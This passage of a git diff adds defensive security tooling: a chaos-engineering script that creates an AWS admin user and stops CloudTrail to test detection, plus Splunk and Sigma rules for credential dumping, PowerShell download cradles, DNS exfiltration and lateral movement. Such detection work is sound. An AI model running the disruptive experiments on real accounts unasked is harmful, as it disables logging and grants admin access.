FindingCriteria={"Criterion": { + "type": {"Eq": ["Recon:IAMUser/UserPermissions"]}, + }}, + ) + if findings.get("FindingIds"): + return {"detected": True, "detection_time_sec": elapsed} + return {"detected": False, "timeout": timeout_sec} + + def rollback(): + try: + iam.detach_user_policy( + UserName=username, + PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess", + ) + iam.delete_user(UserName=username) + print(f" [+] Rolled back user {username}") + except ClientError: + pass + + exp = ChaosExperiment("create_admin_user", + "Verify detection of unauthorized admin user creation") + return exp.run(setup, verify, rollback, timeout) + + +def experiment_stop_cloudtrail(session, trail_name, timeout=300): + """Experiment: Stop CloudTrail and verify detection.""" + ct = session.client("cloudtrail") + + def setup(): + ct.stop_logging(Name=trail_name) + print(f" [!] Stopped CloudTrail {trail_name}") + + def verify(timeout_sec): + elapsed = 0 + cw = session.client("cloudwatch") + while elapsed < timeout_sec: + time.sleep(30) + elapsed += 30 + alarms = cw.describe_alarms(AlarmNamePrefix="CloudTrail") + for alarm in alarms.get("MetricAlarms", []): + if alarm["StateValue"] == "ALARM": + return {"detected": True, "detection_time_sec": elapsed, + "alarm": alarm["AlarmName"]} + return {"detected": False, "timeout": timeout_sec} + + def rollback(): + try: + ct.start_logging(Name=trail_name) + print(f" [+] Restarted CloudTrail {trail_name}") + except ClientError: + pass + + exp = ChaosExperiment("stop_cloudtrail", + "Verify detection of CloudTrail logging disabled") + return exp.run(setup, verify, rollback, timeout) + + +def dry_run_experiments(): + """List available experiments without executing them.""" + return [ + {"name": "open_security_group", "severity": "HIGH", + "description": "Open SG port 22 to 0.0.0.0/0, verify Config Rule alert"}, + {"name": "create_admin_user", "severity": "CRITICAL", + "description": "Create IAM admin user, verify GuardDuty detection"}, + {"name": "stop_cloudtrail", "severity": "CRITICAL", + "description": "Stop CloudTrail logging, verify CloudWatch alarm"}, + ] + + +def main(): + parser = argparse.ArgumentParser(description="Security Chaos Engineering Agent") + parser.add_argument("--profile", default=os.getenv("AWS_PROFILE")) + parser.add_argument("--region", default=os.getenv("AWS_DEFAULT_REGION", "us-east-1")) + parser.add_argument("--sg-id", help="Security Group ID for SG experiment") + parser.add_argument("--trail-name", help="CloudTrail name for trail experiment") + parser.add_argument("--timeout", type=int, default=300) + parser.add_argument("--output", default="chaos_report.json") + parser.add_argument("--action", choices=[ + "dry_run", "open_sg", "admin_user", "stop_trail", "full_suite" + ], default="dry_run") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "experiments": []} + + if args.action == "dry_run": + report["experiments"] = dry_run_experiments() + print("[+] Dry run - experiments listed but not executed") + for exp in report["experiments"]: + print(f" {exp['name']}: {exp['description']}") + else: + session = boto3.Session(profile_name=args.profile, region_name=args.region) + if args.action in ("open_sg", "full_suite") and args.sg_id: + result = experiment_open_security_group(session, args.sg_id, timeout=args.timeout) + report["experiments"].append(result) + + if args.action in ("admin_user", "full_suite"): + result = experiment_create_admin_user(session, timeout=args.timeout) + report["experiments"].append(result) + + if args.action in ("stop_trail", "full_suite") and args.trail_name: + result = experiment_stop_cloudtrail(session, args.trail_name, timeout=args.timeout) + report["experiments"].append(result) + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-semgrep-for-custom-sast-rules/LICENSE b/skills/implementing-semgrep-for-custom-sast-rules/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-semgrep-for-custom-sast-rules/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-siem-correlation-rules-for-apt/LICENSE b/skills/implementing-siem-correlation-rules-for-apt/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-siem-correlation-rules-for-apt/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-siem-correlation-rules-for-apt/SKILL.md b/skills/implementing-siem-correlation-rules-for-apt/SKILL.md new file mode 100644 index 00000000..4f136a2a --- /dev/null +++ b/skills/implementing-siem-correlation-rules-for-apt/SKILL.md @@ -0,0 +1,52 @@ +--- +name: implementing-siem-correlation-rules-for-apt +description: >- + Write multi-event correlation rules that detect APT lateral movement by chaining Windows authentication events, + process execution telemetry, and network connection logs across hosts. Uses Splunk SPL and Sigma rule format + to correlate Event IDs 4624, 4648, 4688, and Sysmon Events 1/3 within sliding time windows to surface attack + sequences invisible to single-event detections. +--- + +## Instructions + +1. Install dependencies: `pip install requests pyyaml sigma-cli` +2. Connect to the Splunk REST API and define correlation searches that chain multiple event types across hosts. +3. Build Sigma rules in YAML that express multi-step detection logic for lateral movement patterns: + - RDP logon (4624 LogonType=10) followed by service installation (7045) on same target within 15 minutes + - Pass-the-Hash: NTLM logon (4624 LogonType=3) followed by process creation (4688) of admin tools + - PsExec-style: Named pipe creation (Sysmon 17/18) correlated with remote service creation (7045) +4. Convert Sigma rules to Splunk SPL using `sigma-cli convert`. +5. Deploy correlation searches to Splunk ES via the REST API. +6. Run the agent to generate and install correlation rules, then audit existing rules for coverage gaps. + +```bash +python scripts/agent.py --splunk-url https://localhost:8089 --username admin --password changeme --output correlation_report.json +``` + +## Examples + +### Detect RDP Lateral Movement Chain +``` +index=wineventlog (EventCode=4624 Logon_Type=10) OR (EventCode=7045) +| transaction Computer maxspan=15m startswith=(EventCode=4624) endswith=(EventCode=7045) +| where eventcount >= 2 +| table _time Computer Account_Name ServiceName +``` + +### Sigma Rule for PsExec Lateral Movement +```yaml +title: PsExec Lateral Movement Detection +logsource: + product: windows + service: sysmon +detection: + pipe_created: + EventID: 17 + PipeName|startswith: '\PSEXESVC' + service_installed: + EventID: 7045 + ServiceFileName|contains: 'PSEXESVC' + timeframe: 5m + condition: pipe_created | near service_installed +level: high +``` diff --git a/skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md b/skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md new file mode 100644 index 00000000..23b1b19b --- /dev/null +++ b/skills/implementing-siem-correlation-rules-for-apt/references/api-reference.md @@ -0,0 +1,61 @@ +# API Reference: SIEM Correlation Rules for APT + +## Splunk REST API + +### Authentication +``` +POST /services/auth/login +Body: username=&password= +Returns: { "sessionKey": "" } +Header: Authorization: Splunk +``` + +### Saved Searches (Correlation Rules) +``` +POST /services/saved/searches +Parameters: name, search, cron_schedule, dispatch.earliest_time, + dispatch.latest_time, alert.severity, action.notable (1=enabled), + action.notable.param.severity, action.notable.param.security_domain +GET /services/saved/searches?output_mode=json&count=0 +``` + +### Search Jobs +``` +POST /services/search/jobs +Body: search=, earliest_time, latest_time, output_mode=json +Returns: { "sid": "" } +GET /services/search/jobs/?output_mode=json +GET /services/search/jobs//results?output_mode=json&count= +``` + +## Sigma Rule Format (YAML) +```yaml +title: +status: experimental|test|stable +logsource: + product: windows + service: sysmon|security +detection: + selection: { EventID: [1,3] } + condition: selection +level: low|medium|high|critical +tags: [attack.t1021.001] +``` + +## sigma-cli Conversion +```bash +sigma convert -t splunk -p sysmon rule.yml +sigma convert -t elastic-eql -p sysmon rule.yml +``` + +## Key Windows Event IDs for Lateral Movement +| Event ID | Source | Description | +|----------|--------|-------------| +| 4624 | Security | Logon event (Type 3=Network, 10=RDP) | +| 4648 | Security | Explicit credential logon | +| 4688 | Security | Process creation | +| 7045 | System | Service installation | +| 1 | Sysmon | Process creation with hashes | +| 3 | Sysmon | Network connection | +| 10 | Sysmon | Process access (LSASS) | +| 17/18 | Sysmon | Named pipe created/connected | diff --git a/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py b/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py new file mode 100644 index 00000000..15c7d014 --- /dev/null +++ b/skills/implementing-siem-correlation-rules-for-apt/scripts/agent.py @@ -0,0 +1,249 @@ +#!/usr/bin/env python3 +"""SIEM Correlation Rules Agent - Builds and deploys multi-event APT detection rules via Splunk and Sigma.""" + +import json +import time +import logging +import argparse +from datetime import datetime + +import yaml +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +LATERAL_MOVEMENT_RULES = [ + { + "name": "RDP Lateral Movement Chain", + "description": "RDP logon followed by service installation on same host within 15 minutes", + "spl": ( + 'index=wineventlog (EventCode=4624 Logon_Type=10) OR (EventCode=7045) ' + '| transaction Computer maxspan=15m startswith=(EventCode=4624) endswith=(EventCode=7045) ' + '| where eventcount >= 2 ' + '| table _time Computer Account_Name ServiceName' + ), + "severity": "high", + "mitre": "T1021.001", + }, + { + "name": "PsExec Service Installation", + "description": "Named pipe PSEXESVC created followed by remote service install", + "spl": ( + 'index=sysmon (EventCode=17 PipeName="\\\\PSEXESVC*") OR ' + '(index=wineventlog EventCode=7045 ServiceFileName="*PSEXESVC*") ' + '| transaction Computer maxspan=5m ' + '| where eventcount >= 2 ' + '| table _time Computer User Image ServiceName' + ), + "severity": "high", + "mitre": "T1021.002", + }, + { + "name": "NTLM Pass-the-Hash Followed by Admin Tool", + "description": "NTLM network logon followed by admin tool execution within 10 minutes", + "spl": ( + 'index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM ' + '| join Computer maxspan=10m [search index=sysmon EventCode=1 ' + '(Image="*\\\\net.exe" OR Image="*\\\\net1.exe" OR Image="*\\\\wmic.exe" ' + 'OR Image="*\\\\psexec.exe" OR Image="*\\\\powershell.exe")] ' + '| table _time Computer Account_Name Image CommandLine' + ), + "severity": "critical", + "mitre": "T1550.002", + }, + { + "name": "WMI Remote Execution Chain", + "description": "WMI process creation on remote host correlated with network logon", + "spl": ( + 'index=sysmon EventCode=1 ParentImage="*\\\\WmiPrvSE.exe" ' + '| join Computer [search index=wineventlog EventCode=4624 Logon_Type=3] ' + '| where Account_Name!="-" ' + '| stats count by Computer, Account_Name, Image, CommandLine ' + '| where count > 0' + ), + "severity": "high", + "mitre": "T1047", + }, + { + "name": "Credential Dumping After Lateral Move", + "description": "Network logon followed by LSASS access within 30 minutes", + "spl": ( + 'index=wineventlog EventCode=4624 Logon_Type=3 ' + '| join Computer maxspan=30m [search index=sysmon EventCode=10 ' + 'TargetImage="*\\\\lsass.exe" GrantedAccess=0x1010] ' + '| table _time Computer Account_Name SourceImage GrantedAccess' + ), + "severity": "critical", + "mitre": "T1003.001", + }, +] + + +def authenticate_splunk(base_url, username, password): + """Authenticate to Splunk and return session headers.""" + resp = requests.post( + f"{base_url}/services/auth/login", + data={"username": username, "password": password}, + verify=False, + ) + resp.raise_for_status() + session_key = resp.json()["sessionKey"] + logger.info("Authenticated to Splunk") + return {"Authorization": f"Splunk {session_key}"} + + +def deploy_correlation_search(base_url, headers, rule): + """Deploy a correlation search to Splunk ES.""" + search_payload = { + "search": f"search {rule['spl']}", + "name": rule["name"], + "description": rule["description"], + "cron_schedule": "*/15 * * * *", + "dispatch.earliest_time": "-15m", + "dispatch.latest_time": "now", + "alert_type": "always", + "alert.severity": "4" if rule["severity"] == "critical" else "3", + "action.notable": "1", + "action.notable.param.security_domain": "threat", + "action.notable.param.severity": rule["severity"], + "action.notable.param.rule_title": rule["name"], + } + resp = requests.post( + f"{base_url}/services/saved/searches", + headers=headers, + data=search_payload, + verify=False, + ) + if resp.status_code in (200, 201): + logger.info("Deployed correlation search: %s", rule["name"]) + return True + logger.warning("Deploy failed for %s: %d %s", rule["name"], resp.status_code, resp.text[:100]) + return False + + +def generate_sigma_rule(rule): + """Generate a Sigma-format YAML rule from a correlation definition.""" + sigma = { + "title": rule["name"], + "id": None, + "status": "experimental", + "description": rule["description"], + "references": [f"https://attack.mitre.org/techniques/{rule['mitre']}/"], + "logsource": {"product": "windows", "service": "sysmon"}, + "detection": { + "selection": {"EventID": [1, 3, 17, 18]}, + "condition": "selection", + }, + "level": rule["severity"], + "tags": [f"attack.{rule['mitre'].lower()}"], + } + return yaml.dump(sigma, default_flow_style=False, sort_keys=False) + + +def audit_existing_searches(base_url, headers): + """Audit existing Splunk saved searches for coverage gaps.""" + resp = requests.get( + f"{base_url}/services/saved/searches", + headers=headers, + params={"output_mode": "json", "count": 0}, + verify=False, + ) + if resp.status_code != 200: + return [] + searches = resp.json().get("entry", []) + mitre_covered = set() + for s in searches: + content = s.get("content", {}) + search_text = content.get("search", "").lower() + for technique in ["t1021", "t1047", "t1053", "t1550", "t1003"]: + if technique in search_text or technique in s.get("name", "").lower(): + mitre_covered.add(technique) + lateral_techniques = {"t1021", "t1047", "t1053", "t1550", "t1003", "t1059", "t1570"} + gaps = lateral_techniques - mitre_covered + logger.info("Coverage: %d/%d lateral movement techniques covered", len(mitre_covered), len(lateral_techniques)) + return list(gaps) + + +def run_test_search(base_url, headers, spl, earliest="-24h"): + """Execute a correlation search and return matching events.""" + resp = requests.post( + f"{base_url}/services/search/jobs", + headers=headers, + data={"search": f"search {spl}", "earliest_time": earliest, "output_mode": "json"}, + verify=False, + ) + resp.raise_for_status() + sid = resp.json()["sid"] + for _ in range(60): + status = requests.get( + f"{base_url}/services/search/jobs/{sid}", + headers=headers, params={"output_mode": "json"}, verify=False, + ).json() + if status["entry"][0]["content"]["isDone"]: + break + time.sleep(2) + results = requests.get( + f"{base_url}/services/search/jobs/{sid}/results", + headers=headers, params={"output_mode": "json", "count": 50}, verify=False, + ).json() + return results.get("results", []) + + +def generate_report(deployed, gaps, test_results): + """Generate correlation rules deployment report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "rules_deployed": deployed, + "coverage_gaps": gaps, + "test_results_summary": {r["name"]: len(r.get("hits", [])) for r in test_results}, + } + print(f"CORRELATION RULES REPORT: {len(deployed)} deployed, {len(gaps)} gaps") + return report + + +def main(): + parser = argparse.ArgumentParser(description="SIEM Correlation Rules Agent") + parser.add_argument("--splunk-url", default="https://localhost:8089") + parser.add_argument("--username", default="admin") + parser.add_argument("--password", required=True) + parser.add_argument("--deploy", action="store_true", help="Deploy rules to Splunk") + parser.add_argument("--test", action="store_true", help="Test rules against recent data") + parser.add_argument("--sigma-export", help="Export rules as Sigma YAML to directory") + parser.add_argument("--output", default="correlation_report.json") + args = parser.parse_args() + + headers = authenticate_splunk(args.splunk_url, args.username, args.password) + deployed = [] + test_results = [] + + if args.deploy: + for rule in LATERAL_MOVEMENT_RULES: + if deploy_correlation_search(args.splunk_url, headers, rule): + deployed.append(rule["name"]) + + if args.test: + for rule in LATERAL_MOVEMENT_RULES: + hits = run_test_search(args.splunk_url, headers, rule["spl"]) + test_results.append({"name": rule["name"], "hits": hits}) + logger.info("Rule '%s': %d hits", rule["name"], len(hits)) + + if args.sigma_export: + import os + os.makedirs(args.sigma_export, exist_ok=True) + for rule in LATERAL_MOVEMENT_RULES: + sigma_yaml = generate_sigma_rule(rule) + fname = rule["name"].lower().replace(" ", "_") + ".yml" + with open(os.path.join(args.sigma_export, fname), "w") as f: + f.write(sigma_yaml) + logger.info("Exported %d Sigma rules", len(LATERAL_MOVEMENT_RULES)) + + gaps = audit_existing_searches(args.splunk_url, headers) + report = generate_report(deployed, gaps, test_results) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-siem-use-cases-for-detection/LICENSE b/skills/implementing-siem-use-cases-for-detection/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-siem-use-cases-for-detection/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-siem-use-cases-for-detection/references/api-reference.md b/skills/implementing-siem-use-cases-for-detection/references/api-reference.md new file mode 100644 index 00000000..831f4fe9 --- /dev/null +++ b/skills/implementing-siem-use-cases-for-detection/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing SIEM Use Cases for Detection + +## Libraries + +### attackcti (MITRE ATT&CK) +- **Install**: `pip install attackcti` +- `attack_client()` -- Initialize ATT&CK data client +- `get_techniques()` -- All techniques for coverage calculation +- `get_groups()` -- Threat groups for threat-informed use cases + +### splunk-sdk (Splunk Integration) +- **Install**: `pip install splunk-sdk` +- `splunklib.client.connect()` -- Connect to Splunk instance +- `service.jobs.create(query)` -- Execute detection rule SPL + +## Use Case Lifecycle + +| Phase | Activities | +|-------|-----------| +| Design | Map to ATT&CK, define data sources, write detection logic | +| Test | Validate with Atomic Red Team, measure FP/TP rates | +| Deploy | Push to SIEM with alerting and SLA configuration | +| Tune | Refine based on FP feedback, add exclusions | +| Retire | Deprecate when superseded or no longer relevant | + +## Key ATT&CK Techniques for Use Cases + +| ID | Name | Tactic | +|----|------|--------| +| T1110 | Brute Force | Credential Access | +| T1021.002 | SMB/Windows Admin Shares | Lateral Movement | +| T1059.001 | PowerShell | Execution | +| T1048.003 | Exfiltration over DNS | Exfiltration | +| T1003.001 | LSASS Memory | Credential Access | +| T1098 | Account Manipulation | Persistence | +| T1486 | Data Encrypted for Impact | Impact | + +## Sigma Rule Format +- **Spec**: https://sigmahq.io/docs/basics/rules.html +- Fields: `title`, `logsource`, `detection`, `level`, `tags` +- Tools: `sigma-cli` for converting to Splunk SPL, Elastic EQL, Sentinel KQL +- Repository: https://github.com/SigmaHQ/sigma + +## Detection Quality Metrics +- True Positive Rate: Target >70% +- False Positive Rate: Target <30% +- Mean Time to Detect (MTTD): Varies by severity +- Coverage: Percentage of ATT&CK techniques with detections + +## External References +- ATT&CK Techniques: https://attack.mitre.org/techniques/enterprise/ +- Sigma Rules: https://github.com/SigmaHQ/sigma +- Atomic Red Team: https://github.com/redcanaryco/atomic-red-team +- Splunk ES Detections: https://research.splunk.com/detections/ +- Elastic Detection Rules: https://github.com/elastic/detection-rules diff --git a/skills/implementing-siem-use-cases-for-detection/scripts/agent.py b/skills/implementing-siem-use-cases-for-detection/scripts/agent.py new file mode 100644 index 00000000..b678c35e --- /dev/null +++ b/skills/implementing-siem-use-cases-for-detection/scripts/agent.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python3 +"""SIEM detection use case management agent with ATT&CK coverage mapping.""" + +import json +import sys +import argparse +from datetime import datetime +from collections import Counter + +try: + from attackcti import attack_client +except ImportError: + print("Install attackcti: pip install attackcti") + sys.exit(1) + +try: + import splunklib.client as splunk_client + import splunklib.results as splunk_results + HAS_SPLUNK = True +except ImportError: + HAS_SPLUNK = False + + +USE_CASE_TEMPLATES = { + "brute_force_login": { + "name": "Brute Force Authentication Attempt", + "technique": "T1110", + "tactic": "credential-access", + "data_sources": ["Windows Security 4625", "Linux auth.log", "VPN logs"], + "splunk_query": ('index=wineventlog EventCode=4625 ' + '| stats count by src_ip, TargetUserName ' + '| where count > 10'), + "threshold": 10, + "severity": "high", + "sla_response": "15 minutes", + }, + "lateral_movement_psexec": { + "name": "Lateral Movement via PsExec", + "technique": "T1021.002", + "tactic": "lateral-movement", + "data_sources": ["Windows Security 7045", "Sysmon EventID 1"], + "splunk_query": ('index=wineventlog EventCode=7045 ' + 'ServiceFileName="*PSEXESVC*" ' + '| stats count by ComputerName, ServiceName'), + "threshold": 1, + "severity": "critical", + "sla_response": "5 minutes", + }, + "suspicious_powershell": { + "name": "Suspicious PowerShell Execution", + "technique": "T1059.001", + "tactic": "execution", + "data_sources": ["Sysmon EventID 1", "PowerShell 4104"], + "splunk_query": ('index=sysmon EventCode=1 Image="*powershell.exe" ' + '(CommandLine="*-enc*" OR CommandLine="*invoke-expression*" ' + 'OR CommandLine="*downloadstring*")'), + "threshold": 1, + "severity": "high", + "sla_response": "10 minutes", + }, + "data_exfiltration_dns": { + "name": "DNS-Based Data Exfiltration", + "technique": "T1048.003", + "tactic": "exfiltration", + "data_sources": ["DNS query logs", "Zeek dns.log"], + "splunk_query": ('index=dns query_length>50 ' + '| stats count dc(query) as unique_queries by src_ip ' + '| where unique_queries > 100'), + "threshold": 100, + "severity": "high", + "sla_response": "15 minutes", + }, + "privilege_escalation_new_admin": { + "name": "Privilege Escalation - New Admin Account", + "technique": "T1098", + "tactic": "persistence", + "data_sources": ["Windows Security 4728", "Windows Security 4732"], + "splunk_query": ('index=wineventlog (EventCode=4728 OR EventCode=4732) ' + 'TargetGroup="Administrators" ' + '| stats count by SubjectUserName, MemberName, TargetGroup'), + "threshold": 1, + "severity": "critical", + "sla_response": "5 minutes", + }, + "credential_dumping_lsass": { + "name": "Credential Dumping - LSASS Access", + "technique": "T1003.001", + "tactic": "credential-access", + "data_sources": ["Sysmon EventID 10"], + "splunk_query": ('index=sysmon EventCode=10 TargetImage="*lsass.exe" ' + 'NOT SourceImage IN ("*\\csrss.exe","*\\services.exe") ' + '| stats count by SourceImage, SourceUser'), + "threshold": 1, + "severity": "critical", + "sla_response": "5 minutes", + }, + "ransomware_file_encryption": { + "name": "Ransomware File Encryption Activity", + "technique": "T1486", + "tactic": "impact", + "data_sources": ["Sysmon EventID 11", "Windows Security 4663"], + "splunk_query": ('index=sysmon EventCode=11 ' + '| stats dc(TargetFilename) as file_count by Image ' + '| where file_count > 100'), + "threshold": 100, + "severity": "critical", + "sla_response": "immediate", + }, +} + + +def get_attack_coverage(techniques_covered): + """Calculate ATT&CK coverage percentage.""" + client = attack_client() + all_techniques = client.get_techniques() + enterprise = [t for t in all_techniques + if any("enterprise-attack" in ref.get("url", "") + for ref in t.get("external_references", []))] + total = len(enterprise) + covered = len(set(techniques_covered)) + return {"total_techniques": total, "covered": covered, + "coverage_pct": round(covered / max(total, 1) * 100, 1)} + + +def map_use_cases_to_attack(): + """Map all use case templates to ATT&CK techniques and tactics.""" + tactic_coverage = Counter() + technique_list = [] + for uc_id, uc in USE_CASE_TEMPLATES.items(): + tactic_coverage[uc["tactic"]] += 1 + technique_list.append(uc["technique"]) + return {"tactics": dict(tactic_coverage), "techniques": technique_list, + "total_use_cases": len(USE_CASE_TEMPLATES)} + + +def validate_use_case_data_sources(use_case_id): + """Validate that required data sources are available for a use case.""" + uc = USE_CASE_TEMPLATES.get(use_case_id) + if not uc: + return {"error": f"Use case {use_case_id} not found"} + return { + "use_case": uc["name"], + "required_data_sources": uc["data_sources"], + "validation_note": "Verify these log sources are ingested into SIEM with correct parsing", + } + + +def generate_sigma_rule(use_case_id): + """Generate a Sigma detection rule for a use case.""" + uc = USE_CASE_TEMPLATES.get(use_case_id) + if not uc: + return None + return { + "title": uc["name"], + "id": f"sigma-{use_case_id}", + "status": "experimental", + "description": f"Detects {uc['name']} mapped to ATT&CK {uc['technique']}", + "references": [f"https://attack.mitre.org/techniques/{uc['technique'].replace('.', '/')}/"], + "tags": [f"attack.{uc['tactic']}", f"attack.{uc['technique'].lower()}"], + "logsource": {"product": "windows", "service": "security"}, + "detection": {"condition": "selection"}, + "level": uc["severity"], + "falsepositives": ["Legitimate administrative activity"], + } + + +def run_detection_coverage_report(): + """Generate SIEM detection coverage report.""" + print(f"\n{'='*60}") + print(f" SIEM DETECTION USE CASE REPORT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + mapping = map_use_cases_to_attack() + print(f"--- USE CASE LIBRARY ({mapping['total_use_cases']} rules) ---") + for uc_id, uc in USE_CASE_TEMPLATES.items(): + print(f" [{uc['severity'].upper():>8}] {uc['name']}") + print(f" ATT&CK: {uc['technique']} ({uc['tactic']}) | SLA: {uc['sla_response']}") + + print(f"\n--- TACTIC COVERAGE ---") + for tactic, count in sorted(mapping["tactics"].items(), key=lambda x: -x[1]): + bar = "#" * count + print(f" {tactic:<25} {bar} ({count})") + + print(f"\n--- ATT&CK COVERAGE ---") + try: + coverage = get_attack_coverage(mapping["techniques"]) + print(f" Total Enterprise Techniques: {coverage['total_techniques']}") + print(f" Covered by Use Cases: {coverage['covered']}") + print(f" Coverage Percentage: {coverage['coverage_pct']}%") + except Exception as e: + print(f" Could not calculate coverage: {e}") + + print(f"\n--- DATA SOURCE REQUIREMENTS ---") + all_sources = set() + for uc in USE_CASE_TEMPLATES.values(): + all_sources.update(uc["data_sources"]) + for src in sorted(all_sources): + print(f" - {src}") + + print(f"\n{'='*60}\n") + return {"use_cases": mapping, "data_sources": list(all_sources)} + + +def main(): + parser = argparse.ArgumentParser(description="SIEM Use Case Detection Agent") + parser.add_argument("--report", action="store_true", help="Generate detection coverage report") + parser.add_argument("--sigma", help="Generate Sigma rule for use case ID") + parser.add_argument("--validate", help="Validate data sources for use case ID") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.report: + report = run_detection_coverage_report() + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.sigma: + rule = generate_sigma_rule(args.sigma) + print(json.dumps(rule, indent=2) if rule else f"Use case '{args.sigma}' not found") + elif args.validate: + result = validate_use_case_data_sources(args.validate) + print(json.dumps(result, indent=2)) + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-soar-automation-with-phantom/LICENSE b/skills/implementing-soar-automation-with-phantom/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-soar-automation-with-phantom/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-soar-automation-with-phantom/references/api-reference.md b/skills/implementing-soar-automation-with-phantom/references/api-reference.md new file mode 100644 index 00000000..de1b1791 --- /dev/null +++ b/skills/implementing-soar-automation-with-phantom/references/api-reference.md @@ -0,0 +1,74 @@ +# API Reference: Implementing SOAR Automation with Phantom + +## Libraries + +### requests (HTTP Client for SOAR REST API) +- **Install**: `pip install requests` +- Authentication: `ph-auth-token` header with API token + +## Splunk SOAR REST API + +### Playbooks + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/rest/playbook` | GET | List all playbooks | +| `/rest/playbook/{id}` | GET | 